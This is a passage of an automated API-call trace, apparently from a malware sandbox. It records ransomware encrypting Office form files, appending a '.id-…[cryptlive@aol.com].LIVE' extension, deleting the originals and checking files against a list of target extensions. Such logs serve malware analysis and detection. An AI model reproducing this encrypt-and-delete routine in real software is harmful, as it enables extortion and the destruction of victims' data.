[0159.423] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x310, lpOverlapped=0x0) returned 1 [0159.424] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.424] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0159.424] SetEndOfFile (hFile=0x1b4) returned 1 [0159.424] CloseHandle (hObject=0x1b4) returned 1 [0159.424] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.424] SetEndOfFile (hFile=0x3a0) returned 1 [0159.426] CloseHandle (hObject=0x3a0) returned 1 [0159.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.428] lstrlenW (lpString=".doc") returned 4 [0159.428] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0159.428] lstrlenW (lpString=".docx") returned 5 [0159.428] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0159.428] lstrlenW (lpString=".pdf") returned 4 [0159.428] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0159.428] lstrlenW (lpString=".xls") returned 4 [0159.428] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0159.428] lstrlenW (lpString=".xlsx") returned 5 [0159.428] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0159.428] lstrlenW (lpString=".ppt") returned 4 [0159.428] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.428] lstrlenW (lpString=".zip") returned 4 [0159.428] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0159.428] lstrlenW (lpString=".rar") returned 4 [0159.428] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0159.428] lstrlenW (lpString=".bz2") returned 4 [0159.428] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0159.429] lstrlenW (lpString=".7z") returned 3 [0159.429] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString=".dbf") returned 4 [0159.429] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString=".1cd") returned 4 [0159.429] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString=".jpg") returned 4 [0159.429] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString=".doc") returned 4 [0159.429] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString=".docx") returned 5 [0159.429] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0159.429] lstrlenW (lpString=".pdf") returned 4 [0159.429] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString=".xls") returned 4 [0159.429] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString=".xlsx") returned 5 [0159.429] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0159.429] lstrlenW (lpString=".ppt") returned 4 [0159.429] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString=".zip") returned 4 [0159.429] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString=".rar") returned 4 [0159.429] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0159.429] lstrlenW (lpString=".bz2") returned 4 [0159.429] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0159.429] lstrlenW (lpString=".7z") returned 3 [0159.429] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.429] lstrlenW (lpString=".dbf") returned 4 [0159.430] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0159.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.430] lstrlenW (lpString=".1cd") returned 4 [0159.430] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0159.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0159.430] lstrlenW (lpString=".jpg") returned 4 [0159.430] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0159.430] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.430] lstrlenW (lpString="RESENDL.ICO") returned 11 [0159.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.431] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1078) returned 1 [0159.431] CloseHandle (hObject=0x3a0) returned 1 [0159.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico")) returned 0x20 [0159.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.431] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.431] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.432] GetLastError () returned 0x0 [0159.432] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x436, lpOverlapped=0x0) returned 1 [0159.434] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x440, lpOverlapped=0x0) returned 1 [0159.435] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.435] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0159.435] SetEndOfFile (hFile=0x1b4) returned 1 [0159.435] CloseHandle (hObject=0x1b4) returned 1 [0159.435] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.435] SetEndOfFile (hFile=0x3a0) returned 1 [0159.437] CloseHandle (hObject=0x3a0) returned 1 [0159.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico")) returned 1 [0159.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.438] lstrlenW (lpString=".doc") returned 4 [0159.438] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.438] lstrlenW (lpString=".docx") returned 5 [0159.438] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.438] lstrlenW (lpString=".pdf") returned 4 [0159.439] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString=".xls") returned 4 [0159.439] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString=".xlsx") returned 5 [0159.439] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.439] lstrlenW (lpString=".ppt") returned 4 [0159.439] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.439] lstrlenW (lpString=".zip") returned 4 [0159.439] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString=".rar") returned 4 [0159.439] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString=".bz2") returned 4 [0159.439] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.439] lstrlenW (lpString=".7z") returned 3 [0159.439] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.439] lstrlenW (lpString=".dbf") returned 4 [0159.439] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.439] lstrlenW (lpString=".1cd") returned 4 [0159.439] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.439] lstrlenW (lpString=".jpg") returned 4 [0159.439] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.439] lstrlenW (lpString=".doc") returned 4 [0159.439] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.439] lstrlenW (lpString=".docx") returned 5 [0159.439] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.439] lstrlenW (lpString=".pdf") returned 4 [0159.439] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.439] lstrlenW (lpString=".xls") returned 4 [0159.439] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.440] lstrlenW (lpString=".xlsx") returned 5 [0159.440] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.440] lstrlenW (lpString=".ppt") returned 4 [0159.440] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.440] lstrlenW (lpString=".zip") returned 4 [0159.440] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.440] lstrlenW (lpString=".rar") returned 4 [0159.440] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.440] lstrlenW (lpString=".bz2") returned 4 [0159.440] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.440] lstrlenW (lpString=".7z") returned 3 [0159.440] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.440] lstrlenW (lpString=".dbf") returned 4 [0159.440] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.440] lstrlenW (lpString=".1cd") returned 4 [0159.440] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0159.440] lstrlenW (lpString=".jpg") returned 4 [0159.440] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.440] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.440] lstrlenW (lpString="RESENDS.ICO") returned 11 [0159.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.441] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0159.441] CloseHandle (hObject=0x3a0) returned 1 [0159.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico")) returned 0x20 [0159.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.441] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.442] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0159.705] GetLastError () returned 0x0 [0159.705] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0159.712] WriteFile (in: hFile=0x1b8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0159.713] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.713] WriteFile (in: hFile=0x1b8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0159.713] SetEndOfFile (hFile=0x1b8) returned 1 [0159.714] CloseHandle (hObject=0x1b8) returned 1 [0159.714] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.714] SetEndOfFile (hFile=0x3a0) returned 1 [0159.716] CloseHandle (hObject=0x3a0) returned 1 [0159.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico")) returned 1 [0159.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.850] lstrlenW (lpString=".doc") returned 4 [0159.850] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.850] lstrlenW (lpString=".docx") returned 5 [0159.850] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0159.850] lstrlenW (lpString=".pdf") returned 4 [0159.850] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString=".xls") returned 4 [0159.851] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString=".xlsx") returned 5 [0159.851] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0159.851] lstrlenW (lpString=".ppt") returned 4 [0159.851] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.851] lstrlenW (lpString=".zip") returned 4 [0159.851] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString=".rar") returned 4 [0159.851] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString=".bz2") returned 4 [0159.851] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.851] lstrlenW (lpString=".7z") returned 3 [0159.851] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.851] lstrlenW (lpString=".dbf") returned 4 [0159.851] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.851] lstrlenW (lpString=".1cd") returned 4 [0159.851] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.851] lstrlenW (lpString=".jpg") returned 4 [0159.851] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.851] lstrlenW (lpString=".doc") returned 4 [0159.851] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.851] lstrlenW (lpString=".docx") returned 5 [0159.851] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0159.851] lstrlenW (lpString=".pdf") returned 4 [0159.851] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString=".xls") returned 4 [0159.851] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.851] lstrlenW (lpString=".xlsx") returned 5 [0159.852] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0159.852] lstrlenW (lpString=".ppt") returned 4 [0159.852] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.852] lstrlenW (lpString=".zip") returned 4 [0159.852] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.852] lstrlenW (lpString=".rar") returned 4 [0159.852] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.852] lstrlenW (lpString=".bz2") returned 4 [0159.852] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.852] lstrlenW (lpString=".7z") returned 3 [0159.852] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.852] lstrlenW (lpString=".dbf") returned 4 [0159.852] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.852] lstrlenW (lpString=".1cd") returned 4 [0159.852] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0159.852] lstrlenW (lpString=".jpg") returned 4 [0159.852] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.852] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.852] lstrlenW (lpString="SCDREQL.ICO") returned 11 [0159.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0159.996] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1078) returned 1 [0159.996] CloseHandle (hObject=0x3b8) returned 1 [0159.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico")) returned 0x20 [0160.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0160.036] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.036] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.088] GetLastError () returned 0x0 [0160.088] ReadFile (in: hFile=0x3b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x436, lpOverlapped=0x0) returned 1 [0160.156] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x440, lpOverlapped=0x0) returned 1 [0160.157] ReadFile (in: hFile=0x3b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.157] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.157] SetEndOfFile 